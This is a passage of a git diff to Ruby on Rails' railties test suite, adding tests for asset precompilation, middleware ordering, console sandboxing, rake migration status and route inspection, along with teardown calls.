= true" + + ENV["RAILS_ENV"] = "production" + precompile! + + manifest = "#{app_path}/public/assets/manifest.yml" + assets = YAML.load_file(manifest) + asset_path = assets["application.js"] + + require "#{app_path}/config/environment" + + # Checking if Uglifier is defined we can know if Sprockets was reached or not + assert !defined?(Uglifier) + get "/assets/#{asset_path}" + assert_match "alert()", last_response.body + assert !defined?(Uglifier) + end + + test "assets raise AssetNotPrecompiledError when manifest file is present and requested file isn't precompiled" do + app_file "app/views/posts/index.html.erb", "<%= javascript_include_tag 'app' %>" + + app_file "config/routes.rb", <<-RUBY + AppTemplate::Application.routes.draw do + match '/posts', :to => "posts#index" + end + RUBY + + ENV["RAILS_ENV"] = "production" + precompile! + + # Create file after of precompile + app_file "app/assets/javascripts/app.js", "alert();" + + require "#{app_path}/config/environment" + class ::PostsController < ActionController::Base ; end + + get '/posts' + assert_match(/AssetNotPrecompiledError/, last_response.body) + assert_match(/app.js isn't precompiled/, last_response.body) + end + + test "assets raise AssetNotPrecompiledError when manifest file is present and requested file isn't precompiled if digest is disabled" do + app_file "app/views/posts/index.html.erb", "<%= javascript_include_tag 'app' %>" + add_to_config "config.assets.compile = false" + + app_file "config/routes.rb", <<-RUBY + AppTemplate::Application.routes.draw do + match '/posts', :to => "posts#index" + end + RUBY + + ENV["RAILS_ENV"] = "development" + precompile! + + # Create file after of precompile + app_file "app/assets/javascripts/app.js", "alert();" + + require "#{app_path}/config/environment" + class ::PostsController < ActionController::Base ; end + + get '/posts' + assert_match(/AssetNotPrecompiledError/, last_response.body) + assert_match(/app.js isn't precompiled/, last_response.body) + end + + test "precompile properly refers files referenced with asset_path and and run in the provided RAILS_ENV" do + app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>" + # digest is default in false, we must enable it for test environment + add_to_env_config "test", "config.assets.digest = true" + + quietly do + Dir.chdir(app_path){ `bundle exec rake assets:precompile RAILS_ENV=test` } + end + file = Dir["#{app_path}/public/assets/application.css"].first + assert_match(/\/assets\/rails\.png/, File.read(file)) + file = Dir["#{app_path}/public/assets/application-*.css"].first + assert_match(/\/assets\/rails-([0-z]+)\.png/, File.read(file)) + end + + test "precompile shouldn't use the digests present in manifest.yml" do + app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>" + + ENV["RAILS_ENV"] = "production" + precompile! + + manifest = "#{app_path}/public/assets/manifest.yml" + assets = YAML.load_file(manifest) + asset_path = assets["application.css"] + + app_file "app/assets/images/rails.png", "image changed" + + precompile! + assets = YAML.load_file(manifest) + + assert_not_equal asset_path, assets["application.css"] + end + + test "precompile appends the md5 hash to files referenced with asset_path and run in production as default even using RAILS_GROUPS=assets" do + app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>" + add_to_config "config.assets.compile = true" + + ENV["RAILS_ENV"] = nil + quietly do + Dir.chdir(app_path){ `bundle exec rake assets:precompile RAILS_GROUPS=assets` } + end + file = Dir["#{app_path}/public/assets/application-*.css"].first + assert_match(/\/assets\/rails-([0-z]+)\.png/, File.read(file)) + end + + test "precompile should handle utf8 filenames" do + filename = "レイルズ.png" + app_file "app/assets/images/#{filename}", "not a image really" + add_to_config "config.assets.precompile = [ /\.png$/, /application.(css|js)$/ ]" + + precompile! + require "#{app_path}/config/environment" + + get "/assets/#{URI.parser.escape(filename)}" + assert_match "not a image really", last_response.body + assert File.exists?("#{app_path}/public/assets/#{filename}") + end + + test "assets are cleaned up properly" do + app_file "public/assets/application.js", "alert();" + app_file "public/assets/application.css", "a { color: green; }" + app_file "public/assets/subdir/broken.png", "not really an image file" + + quietly do + Dir.chdir(app_path){ `bundle exec rake assets:clean` } + end + + files = Dir["#{app_path}/public/assets/**/*", "#{app_path}/tmp/cache/*"] + assert_equal 0, files.length, "Expected no assets, but found #{files.join(', ')}" + end + + test "assets routes are not drawn when compilation is disabled" do + app_file "app/assets/javascripts/demo.js.erb", "<%= :alert %>();" + add_to_config "config.assets.compile = false" + + ENV["RAILS_ENV"] = "production" + require "#{app_path}/config/environment" + + get "/assets/demo.js" + assert_equal 404, last_response.status end test "does not stream session cookies back" do @@ -55,5 +350,119 @@ module ApplicationTests assert_match "alert()", last_response.body assert_equal nil, last_response.headers["Set-Cookie"] end + + test "files in any assets/ directories are not added to Sprockets" do + %w[app lib vendor].each do |dir| + app_file "#{dir}/assets/#{dir}_test.erb", "testing" + end + + app_file "app/assets/javascripts/demo.js", "alert();" + + require "#{app_path}/config/environment" + + get "/assets/demo.js" + assert_match "alert();", last_response.body + assert_equal 200, last_response.status + end + + test "assets are concatenated when debug is off and compile is off either if debug_assets param is provided" do + app_with_assets_in_view + + # config.assets.debug and config.assets.compile are false for production environment + ENV["RAILS_ENV"] = "production" + precompile! + + require "#{app_path}/config/environment" + + class ::PostsController < ActionController::Base ; end + + # the debug_assets params isn't used if compile is off + get '/posts?debug_assets=true' + assert_match(/<script src="\/assets\/application-([0-z]+)\.js" type="text\/javascript"><\/script>/, last_response.body) + assert_no_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js" type="text\/javascript"><\/script>/, last_response.body) + end + + test "assets aren't concatened when compile is true is on and debug_assets params is true" do + app_with_assets_in_view + add_to_env_config "production", "config.assets.compile = true" + add_to_env_config "production", "config.assets.allow_debugging = true" + + ENV["RAILS_ENV"] = "production" + require "#{app_path}/config/environment" + + class ::PostsController < ActionController::Base ; end + + get '/posts?debug_assets=true' + assert_match(/<script src="\/assets\/application-([0-z]+)\.js\?body=1" type="text\/javascript"><\/script>/, last_response.body) + assert_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js\?body=1" type="text\/javascript"><\/script>/, last_response.body) + end + + test "assets can access model information when precompiling" do + app_file "app/models/post.rb", "class Post; end" + app_file "app/assets/javascripts/application.js", "//= require_tree ." + app_file "app/assets/javascripts/xmlhr.js.erb", "<%= Post.name %>" + + add_to_config "config.assets.digest = false" + precompile! + assert_equal "Post;\n", File.read("#{app_path}/public/assets/application.js") + end + + test "assets can't access model information when precompiling if not initializing the app" do + app_file "app/models/post.rb", "class Post; end" + app_file "app/assets/javascripts/application.js", "//= require_tree ." + app_file "app/assets/javascripts/xmlhr.js.erb", "<%= defined?(Post) || :NoPost %>" + + add_to_config "config.assets.digest = false" + add_to_config "config.assets.initialize_on_precompile = false" + + precompile! + assert_equal "NoPost;\n", File.read("#{app_path}/public/assets/application.js") + end + + test "enhancements to assets:precompile should only run once" do + app_file "lib/tasks/enhance.rake", "Rake::Task['assets:precompile'].enhance { puts 'enhancement' }" + output = precompile! + assert_equal 1, output.scan("enhancement").size + end + + test "digested assets are not mistakenly removed" do + app_file "app/assets/application.js", "alert();" + add_to_config "config.assets.compile = true" + add_to_config "config.assets.digest = true" + + quietly do + Dir.chdir(app_path){ `bundle exec rake assets:clean assets:precompile` } + end + + files = Dir["#{app_path}/public/assets/application-*.js"] + assert_equal 1, files.length, "Expected digested application.js asset to be generated, but none found" + end + + test "digested assets are removed from configured path" do + app_file "public/production_assets/application.js", "alert();" + add_to_env_config "production", "config.assets.prefix = 'production_assets'" + + ENV["RAILS_ENV"] = nil + quietly do + Dir.chdir(app_path){ `bundle exec rake assets:clean` } + end + + files = Dir["#{app_path}/public/production_assets/application.js"] + assert_equal 0, files.length, "Expected application.js asset to be removed, but still exists" + end + + private + + def app_with_assets_in_view + app_file "app/assets/javascripts/application.js", "//= require_tree ." + app_file "app/assets/javascripts/xmlhr.js", "function f1() { alert(); }" + app_file "app/views/posts/index.html.erb", "<%= javascript_include_tag 'application' %>" + + app_file "config/routes.rb", <<-RUBY + AppTemplate::Application.routes.draw do + match '/posts', :to => "posts#index" + end + RUBY + end end end diff --git a/railties/test/application/configuration_test.rb b/railties/test/application/configuration_test.rb index 0e27c9606d..f356805d6e 100644 --- a/railties/test/application/configuration_test.rb +++ b/railties/test/application/configuration_test.rb @@ -35,9 +35,25 @@ module ApplicationTests end def teardown + teardown_app FileUtils.rm_rf(new_app) if File.directory?(new_app) end + test "Rails.groups returns available groups" do + require "rails" + + Rails.env = "development" + assert_equal [:default, "development"], Rails.groups + assert_equal [:default, "development", :assets], Rails.groups(:assets => [:development]) + assert_equal [:default, "development", :another, :assets], Rails.groups(:another, :assets => %w(development)) + + Rails.env = "test" + assert_equal [:default, "test"], Rails.groups(:assets => [:development]) + + ENV["RAILS_GROUPS"] = "javascripts,stylesheets" + assert_equal [:default, "test", "javascripts", "stylesheets"], Rails.groups + end + test "Rails.application is nil until app is initialized" do require 'rails' assert_nil Rails.application @@ -290,7 +306,7 @@ module ApplicationTests require "#{app_path}/config/environment" require "mail" - ActionMailer::Base + _ = ActionMailer::Base assert_equal [::MyMailInterceptor], ::Mail.send(:class_variable_get, "@@delivery_interceptors") end @@ -303,7 +319,7 @@ module ApplicationTests require "#{app_path}/config/environment" require "mail" - ActionMailer::Base + _ = ActionMailer::Base assert_equal [::MyMailInterceptor, ::MyOtherMailInterceptor], ::Mail.send(:class_variable_get, "@@delivery_interceptors") end @@ -316,7 +332,7 @@ module ApplicationTests require "#{app_path}/config/environment" require "mail" - ActionMailer::Base + _ = ActionMailer::Base assert_equal [::MyMailObserver], ::Mail.send(:class_variable_get, "@@delivery_notification_observers") end @@ -329,7 +345,7 @@ module ApplicationTests require "#{app_path}/config/environment" require "mail" - ActionMailer::Base + _ = ActionMailer::Base assert_equal [::MyMailObserver, ::MyOtherMailObserver], ::Mail.send(:class_variable_get, "@@delivery_notification_observers") end @@ -460,7 +476,7 @@ module ApplicationTests app_file 'app/controllers/posts_controller.rb', <<-RUBY class PostsController < ApplicationController - def index + def create render :text => params[:post].inspect end end @@ -500,5 +516,14 @@ module ApplicationTests get "/", { :format => :xml }, "HTTP_ACCEPT" => "application/xml" assert_equal 'XML', last_response.body end + + test "Rails.application#env_config exists and include some existing parameters" do + make_basic_app + + assert_respond_to app, :env_config + assert_equal app.env_config['action_dispatch.parameter_filter'], app.config.filter_parameters + assert_equal app.env_config['action_dispatch.secret_token'], app.config.secret_token + assert_equal app.env_config['action_dispatch.show_exceptions'], app.config.action_dispatch.show_exceptions + end end end diff --git a/railties/test/application/console_test.rb b/railties/test/application/console_test.rb index 5ae6323345..1528d5dd87 100644 --- a/railties/test/application/console_test.rb +++ b/railties/test/application/console_test.rb @@ -1,16 +1,21 @@ require 'isolation/abstract_unit' class ConsoleTest < Test::Unit::TestCase - include ActiveSupport::Testing::Isolation + include ActiveSupport::Testing::Isolation def setup build_app boot_rails end + def teardown + teardown_app + end + def load_environment(sandbox = false) require "#{rails_root}/config/environment" - Rails.application.load_console(sandbox) + Rails.application.sandbox = sandbox + Rails.application.load_console end def test_app_method_should_return_integration_session @@ -78,8 +83,8 @@ class ConsoleTest < Test::Unit::TestCase value = false Class.new(Rails::Railtie) do - console do |sandbox| - value = sandbox + console do |app| + value = app.sandbox? end end diff --git a/railties/test/application/generators_test.rb b/railties/test/application/generators_test.rb index 8b840fffd0..4365d00b1f 100644 --- a/railties/test/application/generators_test.rb +++ b/railties/test/application/generators_test.rb @@ -9,6 +9,10 @@ module ApplicationTests boot_rails end + def teardown + teardown_app + end + def app_const @app_const ||= Class.new(Rails::Application) end @@ -68,8 +72,7 @@ module ApplicationTests # Initialize the application require "#{app_path}/config/environment" - require "rails/generators" - Rails::Generators.configure! + Rails.application.load_generators assert_equal :rspec, Rails::Generators.options[:rails][:test_framework] assert_equal "-w", Rails::Generators.aliases[:rails][:test_framework] @@ -84,8 +87,7 @@ module ApplicationTests # Initialize the application require "#{app_path}/config/environment" - require "rails/generators" - Rails::Generators.configure! + Rails.application.load_generators assert_equal Thor::Base.shell, Thor::Shell::Basic end diff --git a/railties/test/application/initializers/boot_test.rb b/railties/test/application/initializers/boot_test.rb index 5ec562f12f..b1e01dc13f 100644 --- a/railties/test/application/initializers/boot_test.rb +++ b/railties/test/application/initializers/boot_test.rb @@ -9,8 +9,12 @@ module ApplicationTests # boot_rails end + def teardown + # teardown_app + end + test "booting rails sets the load paths correctly" do # This test is pending reworking the boot process end end -end
\ No newline at end of file +end diff --git a/railties/test/application/initializers/check_ruby_version_test.rb b/railties/test/application/initializers/check_ruby_version_test.rb index 5b6196307d..df7e9696a9 100644 --- a/railties/test/application/initializers/check_ruby_version_test.rb +++ b/railties/test/application/initializers/check_ruby_version_test.rb @@ -9,6 +9,10 @@ module ApplicationTests boot_rails end + def teardown + teardown_app + end + test "rails initializes with ruby 1.8.7 or later, except for 1.9.1" do if RUBY_VERSION < '1.8.7' assert_rails_does_not_boot diff --git a/railties/test/application/initializers/frameworks_test.rb b/railties/test/application/initializers/frameworks_test.rb index 196d121c14..446c85d65a 100644 --- a/railties/test/application/initializers/frameworks_test.rb +++ b/railties/test/application/initializers/frameworks_test.rb @@ -10,6 +10,10 @@ module ApplicationTests FileUtils.rm_rf "#{app_path}/config/environments" end + def teardown + teardown_app + end + # AC & AM test "set load paths set only if action controller or action mailer are in use" do assert_nothing_raised NameError do diff --git a/railties/test/application/initializers/hooks_test.rb b/railties/test/application/initializers/hooks_test.rb index 198abbe861..8c7726339c 100644 --- a/railties/test/application/initializers/hooks_test.rb +++ b/railties/test/application/initializers/hooks_test.rb @@ -10,6 +10,10 @@ module ApplicationTests FileUtils.rm_rf "#{app_path}/config/environments" end + def teardown + teardown_app + end + test "load initializers" do app_file "config/initializers/foo.rb", "$foo = true" require "#{app_path}/config/environment" diff --git a/railties/test/application/initializers/i18n_test.rb b/railties/test/application/initializers/i18n_test.rb index 390f65ab5c..8c2c079fb8 100644 --- a/railties/test/application/initializers/i18n_test.rb +++ b/railties/test/application/initializers/i18n_test.rb @@ -11,6 +11,10 @@ module ApplicationTests require "rails/all" end + def teardown + teardown_app + end + def load_app require "#{app_path}/config/environment" end @@ -48,7 +52,7 @@ module ApplicationTests end test "locale files should be added to the load path" do - app_file "config/another_locale.yml", "" + app_file "config/another_locale.yml", "en:\nfoo: ~" add_to_config <<-RUBY config.i18n.load_path << config.root.join("config/another_locale.yml").to_s @@ -127,7 +131,7 @@ en: # Fallbacks test "not using config.i18n.fallbacks does not initialize I18n.fallbacks" do - I18n.backend = Class.new { include I18n::Backend::Base }.new + I18n.backend = Class.new(I18n::Backend::Simple).new load_app assert_no_fallbacks end @@ -141,7 +145,7 @@ en: test "config.i18n.fallbacks = true initializes I18n.fallbacks with default settings even when backend changes" do I18n::Railtie.config.i18n.fallbacks = true - I18n::Railtie.config.i18n.backend = Class.new { include I18n::Backend::Base }.new + I18n::Railtie.config.i18n.backend = Class.new(I18n::Backend::Simple).new load_app assert I18n.backend.class.included_modules.include?(I18n::Backend::Fallbacks) assert_fallbacks :de => [:de, :en] diff --git a/railties/test/application/initializers/load_path_test.rb b/railties/test/application/initializers/load_path_test.rb index 714d62311d..644b8208a9 100644 --- a/railties/test/application/initializers/load_path_test.rb +++ b/railties/test/application/initializers/load_path_test.rb @@ -10,6 +10,10 @@ module ApplicationTests FileUtils.rm_rf "#{app_path}/config/environments" end + def teardown + teardown_app + end + test "initializing an application adds the application paths to the load path" do add_to_config <<-RUBY config.root = "#{app_path}" diff --git a/railties/test/application/initializers/notifications_test.rb b/railties/test/application/initializers/notifications_test.rb index 7e035be764..b72c14eaf0 100644 --- a/railties/test/application/initializers/notifications_test.rb +++ b/railties/test/application/initializers/notifications_test.rb @@ -9,6 +9,10 @@ module ApplicationTests boot_rails end + def teardown + teardown_app + end + def instrument(*args, &block) ActiveSupport::Notifications.instrument(*args, &block) end @@ -33,7 +37,7 @@ module ApplicationTests wait assert_equal 1, logger.logged(:debug).size - assert_match /SHOW tables/, logger.logged(:debug).last + assert_match(/SHOW tables/, logger.logged(:debug).last) end end end diff --git a/railties/test/application/loading_test.rb b/railties/test/application/loading_test.rb index c340465e87..47c6fd5c6e 100644 --- a/railties/test/application/loading_test.rb +++ b/railties/test/application/loading_test.rb @@ -8,6 +8,10 @@ class LoadingTest < Test::Unit::TestCase boot_rails end + def teardown + teardown_app + end + def app @app ||= Rails.application end diff --git a/railties/test/application/middleware/best_practices_test.rb b/railties/test/application/middleware/best_practices_test.rb index 5b722e7510..1c88b9bf06 100644 --- a/railties/test/application/middleware/best_practices_test.rb +++ b/railties/test/application/middleware/best_practices_test.rb @@ -12,6 +12,10 @@ module ApplicationTests simple_controller end + def teardown + teardown_app + end + test "simple controller in production mode returns best standards" do get '/foo' assert_equal "IE=Edge,chrome=1", last_response.headers["X-UA-Compatible"] diff --git a/railties/test/application/middleware/cache_test.rb b/railties/test/application/middleware/cache_test.rb index f582ed0e42..050a2161ae 100644 --- a/railties/test/application/middleware/cache_test.rb +++ b/railties/test/application/middleware/cache_test.rb @@ -11,12 +11,16 @@ module ApplicationTests extend Rack::Test::Methods end + def teardown + teardown_app + end + def simple_controller controller :expires, <<-RUBY class ExpiresController < ApplicationController def expires_header expires_in 10, :public => !params[:private] - render :text => ActiveSupport::SecureRandom.hex(16) + render :text => SecureRandom.hex(16) end def expires_etag @@ -27,10 +31,14 @@ module ApplicationTests $last_modified ||= Time.now.utc render_conditionally(:last_modified => $last_modified) end + + def keeps_if_modified_since + render :text => request.headers['If-Modified-Since'] + end private def render_conditionally(headers) if stale?(headers.merge(:public => !params[:private])) - render :text => ActiveSupport::SecureRandom.hex(16) + render :text => SecureRandom.hex(16) end end end @@ -43,6 +51,16 @@ module ApplicationTests RUBY end + def test_cache_keeps_if_modified_since + simple_controller + expected = "Wed, 30 May 1984 19:43:31 GMT" + + get "/expires/keeps_if_modified_since", {}, "HTTP_IF_MODIFIED_SINCE" => expected + + assert_equal 200, last_response.status + assert_equal expected, last_response.body, "cache should have kept If-Modified-Since" + end + def test_cache_is_disabled_in_dev_mode simple_controller app("development") diff --git a/railties/test/application/middleware/remote_ip_test.rb b/railties/test/application/middleware/remote_ip_test.rb index f28302d70a..da291f061c 100644 --- a/railties/test/application/middleware/remote_ip_test.rb +++ b/railties/test/application/middleware/remote_ip_test.rb @@ -10,6 +10,10 @@ module ApplicationTests FileUtils.rm_rf "#{app_path}/config/environments" end + def teardown + teardown_app + end + def app @app ||= Rails.application end diff --git a/railties/test/application/middleware/sendfile_test.rb b/railties/test/application/middleware/sendfile_test.rb index 0128261cd4..d2ad2668bb 100644 --- a/railties/test/application/middleware/sendfile_test.rb +++ b/railties/test/application/middleware/sendfile_test.rb @@ -10,6 +10,10 @@ module ApplicationTests FileUtils.rm_rf "#{app_path}/config/environments" end + def teardown + teardown_app + end + def app @app ||= Rails.application end @@ -23,11 +27,12 @@ module ApplicationTests end # x_sendfile_header middleware - test "config.action_dispatch.x_sendfile_header defaults to ''" do + test "config.action_dispatch.x_sendfile_header defaults to nil" do make_basic_app simple_controller get "/" + assert !last_response.headers["X-Sendfile"] assert_equal File.read(__FILE__), last_response.body end diff --git a/railties/test/application/middleware/show_exceptions_test.rb b/railties/test/application/middleware/show_exceptions_test.rb index 5487e41e0a..e3f27f63c3 100644 --- a/railties/test/application/middleware/show_exceptions_test.rb +++ b/railties/test/application/middleware/show_exceptions_test.rb @@ -10,6 +10,10 @@ module ApplicationTests FileUtils.rm_rf "#{app_path}/config/environments" end + def teardown + teardown_app + end + def app @app ||= Rails.application end diff --git a/railties/test/application/middleware_test.rb b/railties/test/application/middleware_test.rb index 6f14200a14..4703a59326 100644 --- a/railties/test/application/middleware_test.rb +++ b/railties/test/application/middleware_test.rb @@ -11,20 +11,26 @@ module ApplicationTests FileUtils.rm_rf "#{app_path}/config/environments" end + def teardown + teardown_app + end + def app @app ||= Rails.application end test "default middleware stack" do + add_to_config "config.action_dispatch.x_sendfile_header = 'X-Sendfile'" + boot! assert_equal [ - "Rack::ContentLength", "ActionDispatch::Static", "Rack::Lock", "ActiveSupport::Cache::Strategy::LocalCache", "Rack::Runtime", "Rack::MethodOverride", + "ActionDispatch::RequestId", "Rails::Rack::Logger", # must come after Rack::MethodOverride to properly log overridden methods "ActionDispatch::ShowExceptions", "ActionDispatch::RemoteIp", @@ -44,12 +50,18 @@ module ApplicationTests ], middleware end + test "Rack::Sendfile is not included by default" do + boot! + + assert !middleware.include?("Rack::Sendfile"), "Rack::Sendfile is not included in the default stack unless you set config.action_dispatch.x_sendfile_header" + end + test "Rack::Cache is present when action_controller.perform_caching is set" do add_to_config "config.action_controller.perform_caching = true" boot! - assert_equal "Rack::Cache", middleware.second + assert_equal "Rack::Cache", middleware.first end test "Rack::SSL is present when force_ssl is set" do @@ -58,6 +70,14 @@ module ApplicationTests assert middleware.include?("Rack::SSL") end + test "Rack::SSL is configured with options when given" do + add_to_config "config.force_ssl = true" + add_to_config "config.ssl_options = { :host => 'example.com' }" + boot! + + assert_equal AppTemplate::Application.middleware.first.args, [{:host => 'example.com'}] + end + test "removing Active Record omits its middleware" do use_frameworks [] boot! @@ -104,7 +124,7 @@ module ApplicationTests end test "insert middleware after" do - add_to_config "config.middleware.insert_after Rack::ContentLength, Rack::Config" + add_to_config "config.middleware.insert_after ActionDispatch::Static, Rack::Config" boot! assert_equal "Rack::Config", middleware.second end @@ -112,12 +132,12 @@ module ApplicationTests test "RAILS_CACHE does not respond to middleware" do add_to_config "config.cache_store = :memory_store" boot! - assert_equal "Rack::Runtime", middleware.fourth + assert_equal "Rack::Runtime", middleware.third end test "RAILS_CACHE does respond to middleware" do boot! - assert_equal "Rack::Runtime", middleware.fifth + assert_equal "Rack::Runtime", middleware.fourth end test "identity map is inserted" do @@ -127,7 +147,7 @@ module ApplicationTests end test "insert middleware before" do - add_to_config "config.middleware.insert_before Rack::ContentLength, Rack::Config" + add_to_config "config.middleware.insert_before ActionDispatch::Static, Rack::Config" boot! assert_equal "Rack::Config", middleware.first end diff --git a/railties/test/application/paths_test.rb b/railties/test/application/paths_test.rb index b1ff6e9cb1..964cff48cd 100644 --- a/railties/test/application/paths_test.rb +++ b/railties/test/application/paths_test.rb @@ -20,6 +20,10 @@ module ApplicationTests @paths = Rails.application.config.paths end + def teardown + teardown_app + end + def root(*path) app_path(*path).to_s end @@ -44,7 +48,6 @@ module ApplicationTests assert_path @paths["vendor"], "vendor" assert_path @paths["vendor/plugins"], "vendor/plugins" assert_path @paths["tmp"], "tmp" - assert_path @paths["tmp/cache"], "tmp/cache" assert_path @paths["config"], "config" assert_path @paths["config/locales"], "config/locales/en.yml" assert_path @paths["config/environment"], "config/environment.rb" @@ -61,7 +64,7 @@ module ApplicationTests end test "environments has a glob equal to the current environment" do - assert_equal "#{Rails.env}.rb", @paths.config.environments.glob + assert_equal "#{Rails.env}.rb", @paths["config/environments"].glob end test "load path includes each of the paths in config.paths as long as the directories exist" do diff --git a/railties/test/application/rack/logger_test.rb b/railties/test/application/rack/logger_test.rb index a29244357c..387eb25525 100644 --- a/railties/test/application/rack/logger_test.rb +++ b/railties/test/application/rack/logger_test.rb @@ -12,6 +12,12 @@ module ApplicationTests build_app require "#{app_path}/config/environment" super + @logger = MockLogger.new + Rails.stubs(:logger).returns(@logger) + end + + def teardown + teardown_app end def logs @@ -21,19 +27,19 @@ module ApplicationTests test "logger logs proper HTTP verb and path" do get "/blah" wait - assert_match /^Started GET "\/blah"/, logs[0] + assert_match(/^Started GET "\/blah"/, logs[0]) end test "logger logs HTTP verb override" do post "/", {:_method => 'put'} wait - assert_match /^Started PUT "\/"/, logs[0] + assert_match(/^Started PUT "\/"/, logs[0]) end test "logger logs HEAD requests" do post "/", {:_method => 'head'} wait - assert_match /^Started HEAD "\/"/, logs[0] + assert_match(/^Started HEAD "\/"/, logs[0]) end end end diff --git a/railties/test/application/rackup_test.rb b/railties/test/application/rackup_test.rb index b0a9925890..ff9cdcadc7 100644 --- a/railties/test/application/rackup_test.rb +++ b/railties/test/application/rackup_test.rb @@ -15,6 +15,10 @@ module ApplicationTests boot_rails end + def teardown + teardown_app + end + test "rails app is present" do assert File.exist?(app_path("config")) end diff --git a/railties/test/application/rake_test.rb b/railties/test/application/rake_test.rb index d77c2d14ab..c76bc3d526 100644 --- a/railties/test/application/rake_test.rb +++ b/railties/test/application/rake_test.rb @@ -1,3 +1,4 @@ +# coding:utf-8 require "isolation/abstract_unit" module ApplicationTests @@ -10,6 +11,10 @@ module ApplicationTests FileUtils.rm_rf("#{app_path}/config/environments") end + def teardown + teardown_app + end + def test_gems_tasks_are_loaded_first_than_application_ones app_file "lib/tasks/app.rake", <<-RUBY $task_loaded = Rake::Task.task_defined?("db:create:all") @@ -31,7 +36,7 @@ module ApplicationTests AppTemplate::Application.initialize! RUBY - assert_match "SuperMiddleware", Dir.chdir(app_path){ `rake middleware` } + assert_match("SuperMiddleware", Dir.chdir(app_path){ `rake middleware` }) end def test_initializers_are_executed_in_rake_tasks @@ -55,22 +60,39 @@ module ApplicationTests Dir.chdir(app_path){ `rake stats` } end - def test_rake_routes_output_strips_anchors_from_http_verbs - app_file "config/routes.rb", <<-RUBY - AppTemplate::Application.routes.draw do - get '/cart', :to => 'cart#show' - end + def test_rake_test_error_output + Dir.chdir(app_path){ `rake db:migrate` } + + app_file "config/database.yml", <<-RUBY + development: + RUBY + + app_file "test/unit/one_unit_test.rb", <<-RUBY RUBY - assert_match 'cart GET /cart(.:format)', Dir.chdir(app_path){ `rake routes` } + + app_file "test/functional/one_functional_test.rb", <<-RUBY + raise RuntimeError + RUBY + + app_file "test/integration/one_integration_test.rb", <<-RUBY + raise RuntimeError + RUBY + + silence_stderr do + output = Dir.chdir(app_path){ `rake test` } + assert_match(/Errors running test:units! #<ActiveRecord::AdapterNotSpecified/, output) + assert_match(/Errors running test:functionals! #<RuntimeError/, output) + assert_match(/Errors running test:integration! #<RuntimeError/, output) + end end - def test_rake_routes_shows_custom_assets + def test_rake_routes_calls_the_route_inspector app_file "config/routes.rb", <<-RUBY AppTemplate::Application.routes.draw do - get '/custom/assets', :to => 'custom_assets#show' + get '/cart', :to => 'cart#show' end RUBY - assert_match 'custom_assets GET /custom/assets(.:format)', Dir.chdir(app_path){ `rake routes` } + assert_equal "cart GET /cart(.:format) cart#show\n", Dir.chdir(app_path){ `rake routes` } end def test_logger_is_flushed_when_exiting_production_rake_tasks @@ -93,16 +115,65 @@ module ApplicationTests end output = Dir.chdir(app_path){ `rake db:migrate` } - assert_match /create_table\(:users\)/, output - assert_match /CreateUsers: migrated/, output - assert_match /add_column\(:users, :email, :string\)/, output - assert_match /AddEmailToUsers: migrated/, output + assert_match(/create_table\(:users\)/, output) + assert_match(/CreateUsers: migrated/, output) + assert_match(/add_column\(:users, :email, :string\)/, output) + assert_match(/AddEmailToUsers: migrated/, output) output = Dir.chdir(app_path){ `rake db:rollback STEP=2` } - assert_match /drop_table\("users"\)/, output - assert_match /CreateUsers: reverted/, output - assert_match /remove_column\("users", :email\)/, output - assert_match /AddEmailToUsers: reverted/, output + assert_match(/drop_table\("users"\)/, output) + assert_match(/CreateUsers: reverted/, output) + assert_match(/remove_column\("users", :email\)/, output) + assert_match(/AddEmailToUsers: reverted/, output) + end + + def test_migration_status_when_schema_migrations_table_is_not_present + output = Dir.chdir(app_path){ `rake db:migrate:status` } + assert_equal "Schema migrations table does not exist yet.\n", output + end + + def test_migration_status + Dir.chdir(app_path) do + `rails generate model user username:string password:string` + `rails generate migration add_email_to_users email:string` + end + + Dir.chdir(app_path) { `rake db:migrate`} + output = Dir.chdir(app_path) { `rake db:migrate:status` } + + assert_match(/up\s+\d{14}\s+Create users/, output) + assert_match(/up\s+\d{14}\s+Add email to users/, output) + + Dir.chdir(app_path) { `rake db:rollback STEP=1` } + output = Dir.chdir(app_path) { `rake db:migrate:status` } + + assert_match(/up\s+\d{14}\s+Create users/, output) + assert_match(/down\s+\d{14}\s+Add email to users/, output) + end + + def test_migration_status_after_rollback_and_redo + Dir.chdir(app_path) do + `rails generate model user username:string password:string` + `rails generate migration add_email_to_users email:string` + end + + Dir.chdir(app_path) { `rake db:migrate`} + output = Dir.chdir(app_path) { `rake db:migrate:status` } + + assert_match(/up\s+\d{14}\s+Create users/, output) + assert_match(/up\s+\d{14}\s+Add email to users/, output) + + Dir.chdir(app_path) { `rake db:rollback STEP=2` } + output = Dir.chdir(app_path) { `rake db:migrate:status` } + + assert_match(/down\s+\d{14}\s+Create users/, output) + assert_match(/down\s+\d{14}\s+Add email to users/, output) + + Dir.chdir(app_path) { `rake db:migrate:redo` } + output = Dir.chdir(app_path) { `rake db:migrate:status` } + + assert_match(/up\s+\d{14}\s+Create users/, output) + assert_match(/up\s+\d{14}\s+Add email to users/, output) end def test_loading_specific_fixtures @@ -113,7 +184,7 @@ module ApplicationTests end require "#{rails_root}/config/environment" - + # loading a specific fixture errormsg = Dir.chdir(app_path) { `rake db:fixtures:load FIXTURES=products` } assert $?.success?, errormsg @@ -121,5 +192,14 @@ module ApplicationTests assert_equal 2, ::AppTemplate::Application::Product.count assert_equal 0, ::AppTemplate::Application::User.count end + + def test_scaffold_tests_pass_by_default + content = Dir.chdir(app_path) do + `rails generate scaffold user username:string password:string` + `bundle exec rake db:migrate db:test:clone test` + end + + assert_match(/7 tests, 10 assertions, 0 failures, 0 errors/, content) + end end end diff --git a/railties/test/application/route_inspect_test.rb b/railties/test/application/route_inspect_test.rb new file mode 100644 index 0000000000..78980705ed --- /dev/null +++ b/railties/test/application/route_inspect_test.rb @@ -0,0 +1,105 @@ +require 'test/unit' +require 'rails/application/route_inspector' +require 'action_controller' + +module ApplicationTests + class RouteInspectTest < Test::Unit::TestCase + def setup + @set = ActionDispatch::Routing::RouteSet.new + @inspector = Rails::Application::RouteInspector.new + end + + def test_cart_inspect + @set.draw do + get '/cart', :to => 'cart#show' + end + output = @inspector.format @set.routes + assert_equal ["cart GET /cart(.:format) cart#show"], output + end + + def test_inspect_shows_custom_assets + @set.draw do + get '/custom/assets', :to => 'custom_assets#show' + end + output = @inspector.format @set.routes + assert_equal ["custom_assets GET /custom/assets(.:format) custom_assets#show"], output + 